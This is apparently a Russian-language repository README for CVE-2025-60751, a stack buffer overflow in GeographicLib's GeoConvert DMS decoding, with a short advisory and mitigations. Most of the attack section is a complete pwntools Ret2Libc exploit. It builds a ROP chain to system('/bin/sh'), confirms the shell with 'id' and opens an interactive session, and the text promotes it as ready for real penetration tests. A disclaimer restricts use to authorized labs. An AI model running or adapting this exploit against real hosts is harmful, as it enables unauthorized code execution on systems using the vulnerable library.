
Технический анализ и профессиональный эксплойт для CVE-2025-60751, стекового переполнения буфера в GeographicLib. Включает эксплойт Ret2Libc на основе pwntools с динамическим обнаружением ROP-гаджетов, интеграцией GDB и верификацией после эксплойта для образовательного тестирования на проникновение.
📌 Этот репозиторий содержит анализ и техническую документацию уязвимости CVE-2025-60751, ошибки переполнения буфера на стеке (Stack-based Buffer Overflow), обнаруженной в библиотеке C++ GeographicLib.
Уязвимость находится в функции DMS::InternalDecode внутри компонента GeoConvert.
Ошибка возникает, когда библиотека пытается обработать некорректно сформированные или чрезмерно длинные строки координат в формате DMS (Градусы, Минуты, Секунды), что приводит к записи за границы выделенного буфера на стеке.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HУдаленный злоумышленник может отправить специально сформированную строку координат для:
GeographicLib для преобразования координат.⚠️ Техническое примечание: Хотя текущий вектор сосредоточен на Доступности (
A:H), в определенных средах без современных защит памяти (таких как Stack Canaries, NX bit или активный ASLR), эта ошибка потенциально может быть повышена до выполнения произвольного кода.
| Продукт | Уязвимая версия | Обнаруженные дистрибутивы |
|---|---|---|
GeographicLib | 2.5 | Пакеты в Debian LTS, Ubuntu и других репозиториях Linux, включающих эту версию |
✅ Обновление: Настоятельно рекомендуется обновить до последней доступной версии GeographicLib, в которой исправлена проверка длины в InternalDecode.
✅ Проверка ввода: Если обновление невозможно, внедрите уровень санации, ограничивающий длину строк, отправляемых в DMS::Decode (например, макс. 32 символа).
✅ Безопасная компиляция: Убедитесь, что библиотека скомпилирована с флагами защиты стека:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattЭтот эксплойт использует pwntools для атаки Ret2Libc, используя переполнение буфера.
В отличие от базовых версий, данная реализация является надежной, динамической и проверяемой, готовой для реальных сред пентеста и лабораторий.
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Отказ от ответственности
Этот репозиторий предназначен исключительно для информационных и образовательных целей для профессионалов в области кибербезопасности.
Использование этой информации в незаконных целях является исключительной ответственностью пользователя.
❗ Используйте код с осторожностью: только в авторизованных, изолированных средах и с явного разрешения.
🔐 Безопасность — это не функция, это дисциплина.
📬 Сообщение о находках: [email protected]
📦 Официальный репозиторий: https://github.com/geographiclib/geographiclib
| Характеристика | Преимущество |
|---|
ROP(elf) динамический | Не зависит от захардкоженных гаджетов: находит их автоматически в бинарнике. |
Встроенная поддержка GDB | Запускает python exploit.py GDB → открывает сессию отладки автоматически. |
| Пост-эксплойт проверка | Отправляет id и подтверждает шелл перед передачей интерактивного управления. |
RET для выравнивания стека | Предотвращает сбои в system() из-за неправильного выравнивания (критично в x64). |
Полезная нагрузка в виде list + b"".join() | Чистый, читаемый, легко модифицировать и расширять. |